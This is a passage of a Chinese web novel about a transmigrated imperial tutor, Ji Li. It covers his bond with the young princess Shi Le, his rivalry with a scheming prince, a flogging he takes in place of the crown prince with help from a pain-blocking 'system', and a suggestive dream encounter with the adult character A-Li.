季李一愣,赶忙偏头,严肃的看着她道:“不能这样做。”
时乐瘪了嘴看着像是蓄力要大哭起来,闻言眨了眨眼睛好奇问:“
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为什么啊,我喜欢爹爹。”
季李将小孩放回地上,撑伞的手完全歪斜,将人遮得严实。
王七赶忙跑过来给大人撑伞。
季李朝他笑了一下,捏头看着时乐继续道:“因为男女授受不亲,还有,你不要亲近陌生人,是有很快坏人的。下次不要乱跑了,知道吗?”
时乐直摇头,反驳:“不是,爹爹不是陌生人,长乐要把爹爹带回家!”
季李叹了一口气,劝道:“我叫季明礼,你可以叫我哥哥。下次再陪你玩好不好,哥哥要去门学院了。”
时乐勉强同意了高兴回应:“爹、哥哥是不是新太傅!长乐也要去上学!”
王七适时开口:“大人,将军府的下人们还在西厢房那边,要不要把小郡主送过去。”
时乐一听大喊:“不要!我要和哥哥在一起!”
季李见她又要掉眼泪了,赶忙道:“这样,我们先去门学院,直接让那些人也跟过来。等上完课,再说。”
就这样,时乐美滋滋趴在季李肩上,晃荡着小腿,一路上嘴巴说个不停:“爹爹。我私下里叫你爹爹好不好?”
季李不知道该拿她怎么办,或者说,第一眼见到这个小女孩心里就涌上无尽的愧疚和思念,就好像,真如她说言,他就是时乐的爹爹。
季李赶忙在心里唤,‘小云,原身不会真是时乐的爹爹吧?’
「滴~抱歉呀,小云没有查询权限捏。」
‘好吧。好吧。’
得到了一个不清不楚的回答,季李的心更不安了,下意识开口:“长乐,你的母亲是?”
时乐歪头:“爹爹就是我的母亲。”
季李:!
“这、这样吗?”季李呛了一声,不死心的接着问:“那你父亲也在找你爹、爹爹?”
时乐点头,忙说:“只要爹爹和我回家,父亲也会回来了!我们都很想念你。”
季李皱着眉追问:“那你之前见过你爹爹吗?”
时乐笑容一僵,将脑袋重新埋回肩头声音闷闷的:“都是因为长乐不乖,爹爹才会离开的。长乐不想爹爹走。”
季李沉默了。
极有可能时乐根本没见过她口中的‘爹爹’,只是想让他当他爹爹,而镇国大将军时山满不在京城。
她认为时山满去寻找他爹爹了,所以不呆在家。
只期望,时将军不会听闻这个说法,他当然不可能是时乐的爹爹。
季李正要说话,肩头一热,烫湿的泪沁近衣袍晕开一片,他把话咽了回去,轻声哄道:“私下里,长乐可以叫我爹爹。但是这是我们的秘密好不好。”
时乐眼睛红红的,小声道:“我可以让父亲知道吗?”
季李:“暂时不可以,好不好。”
时乐皱着眉头,似在考虑。
很快到了书院,季李安置好了时乐的位置,转身在要走向讲台。
听到个声音,“好。”
季李不自觉勾了唇,想转身和她多说几句,余光一扫,触到个熟悉的身影。
一把玉扇‘噗’的被撑开,男孩笑意盈面,声音轻凌:“学生赵文安见过老师。”
19. 第十九章
季李瞬间敛了笑容,淡淡朝人点头回应走回讲台。
室内暖和不少,赵文安脱下外袍,丝毫不在意季李的冷淡,一转头凑到时乐旁边,不知道说了些什么,逗的小孩捧腹大笑。
季李在一旁看不顺眼,生怕赵文安这个表面无害实则恶毒的皇子把小姑娘带坏了,拿起戒尺拍了拍木桌轻声道:“好了,现在开始授课。每个人分开坐好。”
赵文安拉长调子噢了一声,讨嫌的摸了一把时乐扎着两个小丸子的头,懒洋洋挪到另一个空桌。
季李不想看他,对时乐笑了一下,转过身正要板书。
门口站了个小厮,称自己是二皇子的书童,“先生,殿下染了风寒,派奴才来告假。”
“好。”季李朝人点头,“让他好好休息。功课这些就带回去看吧。”
书童:“是。”
季李拿起书本,心想总算能授课,刚起了个头,就看到赵文安高举着手,另一只手握着扇子有一下没一下的扇。
季李卷了卷书页,挑眉:“何事?”
赵文安站起身,神情满是担忧合了纸扇叹气:“老师,太子哥哥没来上课,学生很是担心呀。”
季李这才反应过来,让人坐下,走到屋外朝候着的小厮发问:“你是太子殿下的书童吗?”
那书童紧张极了,鬓角的发湿得凝成一团,闻言哆哆嗦嗦趴在地上道:“是、是。”
季李被他的反应弄得无措,赶忙喊他起身,轻声问:“不用害怕,我只是问问。如果太子殿下有事,就像二皇子一样由你记下课业一同带回去就行了。无碍。”
书童不肯起身,连连答应下来。
“好,这样吧。”季李朝屋内看了看,外面还在下雨阴冷冷的,在外站着怕是会感冒便道:“你也进屋来听吧,功课也记得清楚些。”
书童顺从进了屋,埋着头坐到角落。
季李不再多说,授课也算是顺利,只是每讲五六分钟,赵文安总是会举手,一会儿问什么是‘仁义’,一会儿问‘怎么叫知耻后勇’。
季李一一解答了,在心里庆幸,幸好他昨天备了课业。不然肯定会在赵文安面前丢脸,这小孩是在故意挑刺吧。
“好了。”季李见讲了四十五分钟,合了书,“我们先休息十分钟。”
他话音一落,困得直点头的时乐猛地抬头,兴奋的朝他走过来。
季李温柔朝她笑,心里想,时乐还是太小了,他讲课的内容多半枯燥,好在没有真睡着。
时乐拉着季李的衣角,小声道:“爹爹,你快出来。”
季李弯了弯腰,忍住想抱她的念头,跟着她走到门口。
季李:“怎么啦?”
时乐伸手在衣袍里探,眼睛亮亮的小手握着几颗糖,献宝似的,“爹爹,给你吃。”
季李蹲下身,只拿了一颗问:“谢谢长乐,等会儿,你随姐姐们先回府吧,是不是很困啦?”
时乐先一愣,后瞪着眼睛问:“什么姐姐呀?”
季李解释道:“就是服侍你的人。”
时乐摇了摇头,朝室内看了一眼一本正经道:“文安哥哥说,她们已经被带走了。我要和爹爹呆在一起!”
季李忙问:“带走了?这样,我们先进去,你坐着等我讲完课,再送你回府。”
时乐听话的坐回位置。
季李走到赵文安的书桌面前,坐在椅子上,怀疑的盯着他问:“为什么时乐说她的侍女被带走了?”
赵文安早有准备,理所应当答:“因为她们没有照顾好郡主。”
季李皱眉:“是,但是……”
赵文安打断他的话反问:“想必先生知道今早西厢房走水一事,总要向父亲交代清楚。”
季李张着嘴懂了他的意思,不可能莫名其妙的失火,找出罪魁祸首,再治罪。
天子脚下不允许任何人顶撞其威严。
季李敛了声,他转身朝外走。
身后赵文安笑着喊:“老师,该上课了吧!”
季李止了脚步,接着教学内容继续讲,可能是心情不佳,他忽略了赵文安时不时的举手。
就当没看见,不过还是捏着书页开口:“如要如厕就直接去吧。”
赵文安站了起来,冷冷盯着他语调不高:“老师,我想你应该去找找太子殿下,如果是生病也该有下人来告假。”
季李只点头,没有理他。
照旧按着书本讲,赵文安又站了起来,拔高了声调:“老师,我想一日为师终身为父是你讲的吧。太子哥哥的安危可是要事,怎么能不管?”
季李瞥他一眼:“我的职责是授课,负责其安危的不该是守卫吗?如果你还要打乱讲学进度,请离开。”
赵文安像是没听出他的讥讽,反倒面含笑意,得逞般坐回椅子上,后面半节课安安静静的,时不时看着季李笑一笑。
季李被他的反应弄得不适,总感觉,赵文安给他挖了坑,等着他往下跳或者是已经呆在坑里了。
季李不明其理,稳住心神不再想,管他的,到时候见招拆招吧。
总算熬到下课,季李带着时乐走出书房,却见赵文安还神在在坐在位置上,不免缓了脚步。
刚把时乐抱起来,刚踏过门槛,就见到一个公公火急火燎跑来,季李心一跳,赵文安笑容满面走过来,施施然朝他行礼。
赵文安展扇掩面:“老师,明日再见了。”
季李淡淡朝他点头,神情自若。
公公躬身:“季大人,陛下请你觐见。”
季李放下时乐,摸了摸她的头,嘱咐道:“好了,长乐先回府,等会儿我再来找你聊天好不好。”
时乐不明白情况,皱着脸不放手:“不要,我要和哥哥一起去。”
“不可以哟。”季李摇头,注意到站在一边看热闹的赵文安一扭头,“就麻烦三皇子殿下送郡主回府吧。”
赵文安一脸不情愿,还是蹲下身很快把时乐哄开心了,时乐美滋滋抱了抱季李,高兴道:“长乐去买好吃的,然后乖乖在府上等你!”
时乐挥着胖嘟嘟的手:“哥哥,长乐先去玩了!”
季李瞪了赵文安一眼,瞬间变脸柔声道:“好,快去吧。”
真没想到赵文安还挺会逗小孩的,看来他得好好学习,不能让人把时乐教坏了。
时乐这孩子气性变得真快,说高兴就高兴了。
真是个小孩。季李跟着公公身后,垂
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眉失笑。
养心殿内。
入眼的烈火般的朱砂石雕,炫目的宝石镶嵌,垂落于厚实毛毯的珠帘,被拦到玉柱两侧。
季李一眼就看到个跪地的身形,赤着上身,后背攀爬着血红的鞭痕,行刑的侍从捧着带血水的毛鞭恭敬站立。
帝王慵懒得只披一层冰丝绸缎的外袍,赤着双脚盘腿歪斜坐着,抬起兽似的双眸望开,薄情的唇微抿着,声音低哑随性:“你来了。”
季李忙跪地行礼,小心望向趴在地上剧烈抖动着的身形,心里有个猜想,受刑的不会就是太子吧!?
怎么会?
“你很意外?”赵永敬似乎困了,半眯着眼睛目光在两人身上流转,缓慢启唇漫不经心道:“把鞭子给季大人。”
守卫立刻迈步走来,双手一伸。
季李盯着眼前,一指粗的毛鞭,鞭子上还有针细的绒毛尾端部分被血染得红极了,沁饱了微微鼓起来一嘭就能压出血来。
他吞了吞口水,曲着尾指接过,站起身朝发送指令的帝王发问:“陛下,臣不知是何事?”
赵永敬直起身子,开了尊口:“你是明泽的老师,当然该亲自教训才是。”
季李瞬间反应过来,‘明泽’
赵明泽便是太子的名字,而昏君让他亲自去教训,怕不是让他,亲手去鞭打太子?
不是吧。季李实在是不明白,咬牙问:“陛下,臣不知明泽所犯何事。”
帝王着实没什么耐心,他不耐烦的皱起了眉,声音发冷:“先生不要再拖延了,要是下不辽手,就把鞭子还回去。”
季李被这一噎,确实不知该说些什么,恐怕他再说话也会被治罪。
他攥紧了毛鞭,目光落到趴跪在地上的太子后背,艳红的鞭痕交叠纵横,显然是下了重手的,而男孩还在抖动着身体,血液淌到厚实的毯子上没留下什么痕迹。
怕是这毛鞭上面沁了盐水的,赵明泽抖得也太厉害了。
季李心知不能再让他受刑了,如果再挨鞭子,怕是会直接晕过去。
赵永敬催促:“季大人。”
季李一咬牙道:“陛下,既然臣是太子师,就让我替他受罚吧。”
帝王瞬间睁开眼睛,眸里冒出烫人的光,就像是漆黑的石岩裂开,壁石内部涌出汩汩琼浆,蜜甜的香气炸开,柔软黏腻的,一踏上去才发现是深渊巨兽。
赵永敬舔着干涩的唇面,放轻了声调像是不允:“是吗?”
实则,他早就知道他心软的老师会如此选择,总是会挺身全然忘记自己的处境,一板一眼的说什么,不要担心、没关系。
说什么,一切有他……
可笑至极。
季李一说出口反而有了底气,他直视帝王威严的目光:“臣愿替太子受罚。”
面上无畏,心里喊,‘小云,快,我现在的积分有15点了,我要用12点兑换屏蔽痛觉的功能。’
「滴!好的,兑换成功。」
幸好,积分商城里面有屏蔽痛觉的功能,不然就只能硬挺了。
赵永敬得到意料之中的答案,一抚袖,赤脚走下殿。
季李一愣,什么意思?
这昏君要亲自动手?
20. 第二十章
随着赵永敬越走越近,熏酒似的烫意热浪般涌来,季李埋着头见不到人,只觉着指尖发麻生生卷曲起来。
他放开了握鞭的手,启唇:“陛下,臣有一事相求。”
帝王止步于少年身前,闻言半蹲下来,赤脚还差一点就踩上了沁血的毛鞭,他偏头眼眸灼灼落到人看起来温顺极了垂落于肩侧的乌发,舌卷到干燥起皮的唇肉,温声:“说吧。”
恐怕赵永敬全身上下都是蜜色的,青色血管在光滑的脚背攀附,脚踝上竟然还挂了个鸽子血样的水晶链,季季有一瞬间出神,上次应该没有戴吧。
或者是当时没注意到……
季李摇了摇头把脑袋里胡乱的杂思甩出,凝神答:“便让太子殿下回宫休养吧。”
“好啊。”赵永敬漫不经心一挥手,两个小厮麻利上前很快将人抬走了。
现下,季李也没什么心理负担了。
做他学生的小孩离开了,其他人嘛,和他也没有更多的交际。
季李肉眼可见的放松起来,微微抬起头对上赵永敬的目光不卑不亢道:“陛下,请行刑吧。”
赵永敬却不满意了,皱着眉席地而坐,抬手捏着鞭子尾巴尖,抛出个两个选项:“这样吧,朕再给你一个选择。”
季李点头。
赵永敬轻轻一掷,鞭子击到他脚背上,印上一道发红的痕迹。
王公公看到了,压着嗓子喊:“陛下,这,这请太医来吧。”
季李:……这熟悉的场景,赵永敬真闲,一天天的就搬起石头砸自己的脚了。
少年桃花眸的笑意像一支轻薄柔软的羽绒,悄声落到心口,瞬间化为灰烬。
赵永敬只一摆手,王公公忙闭上了嘴。
抬脚,大拇指踩到鞭子上,他探身凑到季李面前,少年谨慎的移开目光又像是想到什么朝他笑了一下,“选择就是,1.从今天起你便留在宫里,白日授课也方便。”
季李瞪圆了眼睛,咬着牙没吭声,笑着望着赵永敬无声催促他说下一个选择。
赵永敬起了捉弄的念头,站起身带起一阵热风,轻薄的冰丝外袍拖到了厚实毛毯上。
季李就见人,转身一步一步朝金椅走去。
他心头一跳,这是什么意思,不行,赵永敬恐怕是想让他吃个哑巴亏。
季李严肃的整了整衣袍,朗声道:“陛下,臣愿替太子受罚,臣一日为师便终身……”
“笑话!”赵永敬斥声道:“你小小一个太傅,还想当太子的父亲。”
赵永敬转过身快步走来,如风雨袭来的前兆:“真是可笑。”
季李一时紧张竟用错了言辞,现在更是气闷了,脖颈泛着玫红色耳尖烫红。
他赶忙叩首,恭敬道:“臣知罪!”
“你何罪之有?”
“臣出言不逊。”
赵永敬觉得无趣了,太阳穴传来一阵尖锐的刺痛,紧皱着眉指节轻按着额头,淡淡吩咐:“那就行刑吧。”
季李一觉自己逃过一劫,顺从的趴到长凳上。
还没高兴太久,屁股一凉。
!竟然要光着屁股受刑,不是吧,不应该是仗背吗??
季李赶忙喊:“陛下!”
赵永敬极其敷衍:“嗯?”
“臣请求仗刑。”季李急急忙忙喊
赵永敬慢悠悠走上前,季李绷不住了,赶忙提上裤子,双手挡在上面。
赵永敬欣赏完少年绯红的脸,颈后那块皮肉不时什么时候被压上了几条极细的红印,他伏下身,唇齿几乎要贴了上去,热息喷洒:“可以。”
季李差点从凳子上摔下去,连忙伸手抱出凳子,僵直脖子别扭,“陛下,快开始吧。”
赵永敬接过持戒,在手心掂量着,始终下不辽手,抿直了唇还不死心:“你真不选择另外一个选项?”
季李:“陛下,臣准备好了!”
啪啪啪的敲打声响起,季李听得都肉疼。
但系统的痛感屏蔽功能真是不错,等他回了府,去打个好评。
季李先是沉默了一段时间,突然想起,他要装被打痛了,索性咬着牙,时不时泄出几身痛呼。
又过了五分钟,赵永敬停了手,将执尺递给了装透明人的王公公。
他又看了眼,咬牙忍痛的少年,终是噗呲笑了一声,随即一挥衣袍转身离开了。
季李不明所以,但他现在只想溜。
被王公公殷勤得搀扶着出来养心殿,他朝人道了一声谢。
王公公依旧是笑眯眯的模样,他压低了声音回应:“季大人您真是折煞老奴了。”
季李想着作戏做全套,撑着腰抬眉回:“不敢、当。”
帝王赤脚站在层层垂珠帘下,正幽幽望向他。
季李自当没看见,毫不畏惧的回望过去,嘴边噙着淡淡的笑意,眼眸却极冷,一扫而过。
站直了腰,硬挺着抬头挺胸的走了出去。
宫墙外,暗沉乌云沁着厚重的雨终是没落下来。
季李让王七把书信交去了将军府,看来今天要失约了,这般想着,眼前浮现出时乐一双可怜巴巴的狗狗眼,好可爱的妹妹。
以后,我做她老师也能算父亲了,私下里叫爹爹也没什么问题。
季李自知不遵守约定的讨厌之处,他现在愧疚得不行,若是时乐现在在他面前,说要让他一同回家。
季李也会答应。
幸好,季李在心里感叹一声。
丞相府灯火通明。
季李照例去主院拜见丞相,不过刚踏进院内,守门的小厮便言,大人已经睡下,让他自己去吃饭,以后也不用来请安了。
季李抬眸朝窗户暖橙橙的光影看了一眼,余光注意到院中那棵枯死的树,竟然还没移走。
他一时好奇便问:“怎么不移走。”
那小厮笑着答:“这棵树可称奇树,冬日似枯死,夏日可结一树的石榴,结得繁多。”
季李一听,确实是棵奇树呢。
‘咳咳……’屋内传来几声低哑的咳嗽声,小厮一听朝季李拱手言:“小人便退下了,要为大人送要去。”
季李随即转身回了院子。
照旧写了日记,第六天,原本15点积分用了12点来兑换,现在只有3点了。
明日要事:
1.和季小五他们通信,看现在情况如何。
2.要正式和时乐道歉。
3.太子受罚,还是要去看看。
记到着,季李突然发现奇怪的地方,也不知道是不是系统屏蔽痛觉的功能太强大了。
他洗漱完。窝在暖烘烘的床上也没感到什么痛意。
也让他忘了要敷药这事,算了,那就明日再弄。
季李突然困得厉害,勉强扯了扯被
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子,睡前还念着背上有伤,趴着一闭眼就睡着了。
浓烈的橘子香气直直往鼻子里钻,他闻得有些痒,打了个喷嚏。
想伸手揉揉眼睛,却感觉手臂沉重像被什么压着,他睁开眼睛,只觉胸腔也挤得慌,才发现自己在梦里竟然也是趴着的。
他顺势翻了个身,算是解放了双手,再一细看,一张俊美的脸撞入眸中。
季李吓了一跳,不由得喊:“阿狸!”
“你下次不要突然凑上来。”可能是和阿狸相处得太久了,时常摸摸碰碰的,季李话语间带着情人般的埋怨:“吓了我一跳。”
封怀礼疑惑得朝周遭望了望,理所当然得开口:“这是我的寝宫我合该在这儿,倒是你?”
“寝、寝宫?”季李愣了一下,果然,这装饰得华丽的大殿和他的房间全然不同,连盖的被子都舒软极了。
季李震惊:“那你是,封、封怀礼?”
封怀礼猛得扑过来,手指轻捏着人的下巴,动作亲昵:“胆子真大呀,季明礼。敢直呼本王的名字。”
季李吞咽了一口,勉强顾及着没弄清楚状况,任由人压在他身上,从暖呼呼的被子里抽出手放到封怀礼微凉的手腕上,言辞诚恳:“王爷,微臣,是睡糊涂了。您大人有大量就不要同我计较了。”
封怀礼看着人不情不愿的讨饶,心里还想弄得更大胆点,可又怕真把人逼跑了,索性松开了手要从季李身上下来。
季李脑袋极速转动,明白了现下的情况,梦里阿狸的意识似乎被白天封怀狸所占据了,或者是,封怀礼全然掌控了身体,保持了清醒和他梦中相会。
封怀礼皱着眉头,语气怀疑:“你口中的,‘阿狸’也是本王?”
季李笑了一下,摇头:“王爷说笑了,阿狸是我养的狸猫。”
“是吗?”封怀礼当然不信,他可没有忘记季李刚才的神情,嘴上埋怨时手脚却不老实,指节极其熟练的攀进了他的衣袍里,指腹寻找胸肉就要捏。
封怀礼正色问:“你和阿狸上过床了?”
季李被他直白的话说得差点吓死,干咳几声连连摆手:“没有,没有。根本没到那一步!”
封怀礼眼睛一亮,得逞笑道:“看来,真有一个阿狸。”
季李反倒冷静下来,他坐直了身子看着封怀礼得意的神情,一探身凑到人面前,指尖触到温热的脸肉。
“我知道你的弱点。”
封怀礼一愣,没有躲开少年的手,身体顺从的拥过去,张开腿紧紧攀着他,衣袍下的手似灼热的火源,他眼前的画面竟然模糊起来。
脑袋里响着,‘我要、我要……’
“季李。”男人眼泛泪光,语气委屈:“我、我以为我再也见不到你了。”
季李眨了眨眼睛,不自觉靠上去,吻掉大颗光珠,试探性的唤:“阿狸?”
阿狸激动的贴得更紧,手臂像蛇一样探进衣角中,诱哄着:“我要你再亲亲我。”
季李心一猛地放下来,他竟然有种庆幸,捧着人发烫的脸,怜惜的抚了抚轻声道:“刚才为什么不出来?”
阿狸一听,神情更委屈了,后怕得压上去,双臂紧紧拥着都有些痛了,几乎是骑在季李身上。
阿狸叼着那颗小巧可爱的黑痣,毫无章法的又咬又吮,半响才松开,塌了腰淌出一滩湿腻烫人的水迹,语气轻软:“因为你,在想他。”
21. 第二十一章
季李沉默了。
一句‘不可能’被咽了回去,他抬头抚开阿狸因潮热而粘黏在眼角的发,语气温柔:“真的是我在想他吗?”
阿狸脑袋晕乎乎的,只见一张一合的唇,晃动的黑痣像蛊惑人心的符咒,他渴求的咬住了惹得他眼尾赤红的指,牙齿咬着腹肉,舌尖纠缠上去。
他还嫌不够,吐出湿漉漉的指,一俯身含住稠浓的唇肉,急急钻进去却不知道该怎么办,他恼得沁出干涩的眼珠。
季李紧拥着男人的背脊,一挺身欺压而上,瞬间找回主动权,手指寻到滑腻的颈动情之时下意识用力,阿狸难耐得张大了嘴,仰直了身子双手攀附上去,大腿抖得厉害。
季李反应过来时,连忙松了手,掌心下的身体似烫化的太妃糖,唇齿间漫进甜到发苦的水迹,吞咽着喉腔像燃起了稻谷,淡淡的草香混着奶白色的烟火弥漫。
阿狸眼睛里下起了潮湿的雨,他大张着嘴,火红的舌无力的趴在瓷白的齿尖,口腔里积起一滩亮晶晶的涎水,从咬裂冒血丝的嘴角淌下,顺着流到指痕显眼的脖颈上。
他迷茫的睁着双眼,敞露的胸腔泛红,乳肉上压出鲜明的掐痕。
季李看得脸一红,心里涌上一阵羞愧,连忙伸手挡住那双勾人的丹凤眼。
阿狸还无知无觉的向施加者伸手,他软了话语,讨饶的唤:“季李,我、我想看着你。”
季李叹了口气,咬着人的耳肉有些气闷:“你是不是小傻子,我都这样弄你了。”
阿狸有些疑惑的摇了摇头,抬手摸了摸少年毛糙的后脑发,理所当然道:“我是你的阿狸。我喜欢的,你给的。”
“好吧。”季李听得脸红,埋头压到肩颈处只露出一双含情桃花眸,流露出浓郁的眷念,他自言自语道:“如果,白日也能见到你就好了……”
也不知道阿狸有没有听到他的话,只是更加轻柔的拍着少年的后背,不时揉捏着他敏感的颈肉。
惹得季李在他身上动得更急。
……
今日是个好天气。
季李哼着歌洗漱完,打开门,蓝天白云下久违的冒出了暖烘烘的太阳,昨日被雨冲淋的玉兰树显得都更耀眼了。
树上粉红色花苞不知何时绽了五六朵,淡淡的花香盈了满院。
季李走到树下,盯上了最左端的开得热烈的玉兰花,真好看……
“大人。”一声呼喊隔得老远就传了过来,季李一转身就见到王七急急忙忙朝他跑来。
“别急。”季李几步走上前,安抚道:“什么事慢慢说。”
王七只知失态,行了礼:“宫里传来消息,准许您休假一天。”
季李歪头,啊,他也没有请假呀。
“好。”白来的假期不要就是傻子。季李应了下来,看来今日真是个好日子。
用完早膳,季李装好了个时乐的礼物,正要出门。
听到一阵脚步声,嬉笑的声音。
不会是时乐来了吧?季李把东西放在桌上,推开门一看,竟然真是。
穿得红彤彤一身,头戴着老虎帽的时乐和站在旁边悠哉悠哉摇扇子的赵文安,一如既往的一脸狡猾样。
季李笑着朝时乐打了招呼,一偏头,对上赵文安的视线,秒变脸,冷冷疏离的朝他点头。
赵文安面不改色收了玉扇,像是看不出他的敷衍,偏要凑上前言语含笑:“学生见过老师了,不知老师伤势如何了?”
季李:“挺好的。”
季李一转身抱起时乐朝屋里走,拿出了准备好的礼物,面含歉意:“真是抱歉啦,昨日我失约了。”
时乐坐在凳子上,一脸严肃:“才没有,哥哥,你的伤严不严重呀?”
季李被她一副小大人的样子看得心软,不由得摸了摸毛绒绒帽子上面的老虎耳朵,温柔回应:“我休息一天就好了,时乐不用担心。”
赵文安被冷落了,王七赶忙给人端了椅子,又是殷勤端茶又是端来糕点。
赵文安抬眸看了这小厮几眼,总感觉有些熟悉,一时没忆起便抛到脑后了,一展扇笑眯眯盯着对面两人一片和睦。
倒真有几分,‘母’慈女孝的意味。
他端起茶水轻吹了吹,一脸担忧的发问:“老师,学生听到你伤势无大碍的消息心里总算放心下来,只是不知道……”
赵文安见人不搭理他,自顾自地说着,后故意拉长了调子引来人的注意,却不说了垂眉品着苦茶。
季李:……毛病。
时乐还小,瞬间被带起了兴趣,拍了拍桌子笑着问:“文安哥哥,只是什么呀?长乐也想知道!”
赵文安还是装没听到,一脸神秘兮兮的笑。
季李见时乐好奇得站到了椅子上,双脚不时跳着,他吓了一跳赶忙按住小孩,嘱咐:“不能这样,很容易摔跤的,这屋子没有铺厚毛毯。时乐明白嘛?”
时乐瞬间安静下来,乖巧的点了点头,小狗眼瞪得大大的,看着让人心怜。
季李根本再说不辽什么重话,只叹气,或许真应该安个毛毯。
时乐小心翼翼凑近,看着像是要说悄悄话的样子,季李顺从的贴近耳朵,就听见她压低声音:“我知道啦,爹爹。”
“好了。”季李真是受不辽听话的小孩。
“咳咳!”赵文安赶忙咳嗽几声,把两人的注意力拉回来。
季李:“说吧?”
赵文安还想卖关子,但见人瞬间冷了脸,赶忙开口:“老师,学生是很担心太子哥哥的安慰。听闻昨日东宫可热闹了,满宫的太医怕是都去了,也不知道情况如何。”
季李没想到,赵文安想说的是这事,说起来昨天他去养心殿时,太子趴跪在地上的情况看起来就不算好,只是,他沉声:“既然殿下如此担心太子的安危,就应该去探望一二。”
赵文安探了探手,无奈:“既然如此,学生便先行告退了。”
季李:“王七,送送殿下吧。”
赵文安一走整个屋子都安静下来,时乐有些好奇的问:“爹爹,太子哥哥又是怎么了呀?”
季李:“应是犯了错,我们明日课后也去看看吧。”
时乐攥紧了小拳头:“好!”
“对了。”季李想起一件事,正色道:“昨日,西厢房走水……”
时乐一听眼
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睛滴溜,吓得要跳下凳子,季李赶忙上前将小孩抱下来。
小孩粘地飞快跑出房间,溜到庭院玉兰花树下面了。
季李摇头轻笑一声,也跟着走了过去,时乐仰着头盯着树干,也不知道在想些什么。
他顺着她的视线望去,一朵粉色玉兰?
季李想到一个主意,压低声音开口:“长乐喜欢那朵花花吗?”
时乐眼睛发亮,疯狂点头。
“那这样好不好。”季李蹲着身子望着时乐的眼睛,哄:“爹爹帮你摘花,但是,长乐要给我讲讲昨天发生的事情。”
时乐皱着眉头,有些犹豫,狗狗眼望了望好看的爹爹又望了望香香的花,果断答应下来,“好!谢谢爹爹。”
季李挽了挽衣脚,还算比较顺利得爬上了树,幸好他小时候调皮捣蛋惯了,像什么爬树上山采蘑菇……都是日常玩乐。
他攀着椅干,探着身子朝树下高兴得手舞足蹈的小孩确认:“是这朵玉兰花吗?”
时乐点头喊:“就是这朵!”
季李迅速握到枝桠,指节捏到花柄,用力一折,轻松将这朵半开的玉兰花取了下来。
他小心将花枝别在腰间,双手并用原路返回,往下攀到一半。
突然听到一声轻咳。
王七不知道什么时候溜到了树下,一脸担忧的望着他,压着嗓音喊:“季大人,您小心点。”
“没事、没事。”季李朝他自信一笑。
“不是。”王七皱着一张脸,神情为难,揪着衣袍急得像只热锅上的蚂蚁,“那、那个,冯相来了。”
季李一听,心咯噔一下,说起来他今天早上就想折花的,但是,瞧着庭院的布局,每个院子里都栽了棵树,更别说主院那棵冬日干枯丑巴巴的石榴树。
昨日,那小厮只说了,夏日树上掉满了红彤彤的石榴,没说这个石榴果,它甜呀!
恐怕,冯裕之是个爱花草之人。
现在,他把玉兰花给折了下来……
没有办法了,季李硬着头皮从树上爬了下来,小心取下腰间别着的花束,垂着眼掩耳盗铃般的,将花朝腰后一藏。
抬头,就看到时乐喜滋滋得凑到冯裕之身旁,正摇头晃脑的说着话。
冯裕之披着厚实外袍,颈边围着雪白毛领,这次瞧着气色好多了,轻笑着眼尾显出几道笑纹,唇色也红润不少,只是指节看着苍白泛青,手背上不知怎么的划拉出了几道血痕。
血珠冒出来,竟像攀在冰面一样,一动不动的凝出极小一粒。
冯裕之抬眸望来,语气淡淡的:“听闻,你受伤了?”
季李愣了一下,赶忙走过去,笑着回应:“没事,老师。我休养一日就好了。”
冯裕之只是一问,闻言昂首侧身欲走。
季李一看,悬着的心放了下来,看来冯裕之不打算追究他折花的事了,他吞了吞唾沫恭敬迎送。
结果,时乐这小孩耐不住了,一转身抱住了季李的腿,笑眯眯的喊:“哥哥,我要花!”
季李听到心碎的声音,他僵着脸,看着冯裕之停了脚步,慢悠悠盯住他启唇:“什么花?”
22. 第二十二章
少年脸上的笑容一僵,手指头捏着花枝丢也不是拿也不是,瞬间双颊涨红,干巴巴吞了吞唾沫,极其缓慢的把才折下来的玉兰花枝抬到身前,偏过身沾染花香的手指着那棵被风吹得哗哗作响的大树。
冯裕之没有作声。
季李心下更惴惴不安,悄然扭头想去看他的表情,结果,一眼撞进人浅棕色的眸里。
冯裕之弯了弯眸,眼角显出几条极细的笑纹,他微勾着粉淡的唇,竟然看起来有股宠溺的温柔。
季李被自己疯狂的想法吓了一跳,再去看,只有冷清的眸一副漠然的模样。
季李叹了口气,我就说,肯定是眼花了。但心里却泛起几丝说不清晰的失望……
“听王七说你受伤了?”冯裕之不着痕迹得皱着细眉,语气不容抗拒:“既然如此,就回屋好好休养。”
季李忙不迭点头。
冯裕之朝拿着花高兴闻着的小女孩柔声道:“长乐来,我们去外面玩吧。”
时乐拉着季李的手,撒娇似的摇着,声音软乎乎的,“哥哥,你快点好起来。长乐先去找干爹玩啦。”
说完,便蹦蹦跳跳的朝冯裕之跑了过去,很快端正的站好,看起来颇为害怕冯相的模样。
离开时,时乐眼巴巴的望着季李,小嘴巴抿着,捏着花枝的小手揪得紧紧的。
季李看得好笑,心里还对冯裕之竟然是时乐干爹的事实感到诧异,另一边,见让人又爱又气的小孩竟被治得妥妥帖帖的。
除了极轻的幸灾乐祸外,更多的就是,难兄难弟的同病相怜感。
季李朝时乐挥手告别。
小孩瞬间停了下来,眼睛滴溜着不知又想到了什么歪点子,没等实施,冯裕之望了过来,轻咳了一声。
惊得小孩赶忙跟了上去,叽叽喳喳的不停说着话。
季李在后面看得好笑,憋得脸都好了。
王七在一旁出声:“大人,你笑吧。已经走远了。”
“哈哈哈哈哈!”季李眼泪都憋出来了,捂着肚子笑了好一阵。
“大、大人。”王七溜到他身侧,趁着空隙小声开口:“咱回屋上药吧。”
季李摸了把眼泪,没好气的看着他,语气不满:“你现在知道提醒我了,冯相来的时候怎么不提前说一声,叫我被抓得正着。”
王七自知人嘴硬心软,混不吝笑:“哎呀,大人我这不是刚想溜就被冯相喊住了,小人胆子又小……”
季李:“好了好了。放你一马,你把药送来,我直接上药就行。”
王七:“啊?”
季李:“你再说!”
王七把药一放恋恋不舍的走了,关门时还扒着门沿道:“大人,您要是我要帮忙,叫我一声就行。我就守着呢。”
季李应了,其实他不让王七上药,主要是他怀疑,自己根本没受刑。
镜子里光滑毫无痕迹的背脊印证了他的想法,季李脑袋懵懵的,扒拉着衣服随便系了个结,直挺挺往床铺一倒。
扯过棉被盖在脸上,实在没忍住喊了一声:“天!完蛋了!”
“啊!”门外王七听到响声,趴在门框上焦急问:“大人您怎么了?”
季李叹了口气,慢腾腾扯下被面,心灰意冷望着门窗,死气沉沉的应:“没事……你大人我没事。”
不仅没被行刑,还健健康康、活蹦乱跳的免费得了一天假期。
我真高兴呀!
季李翻了个身,脸侧被压出条印子,他现在可是惨了。
不光浪费了十二积分,还在受刑时装作忍痛的样子,那昏君肯定是发现了的。
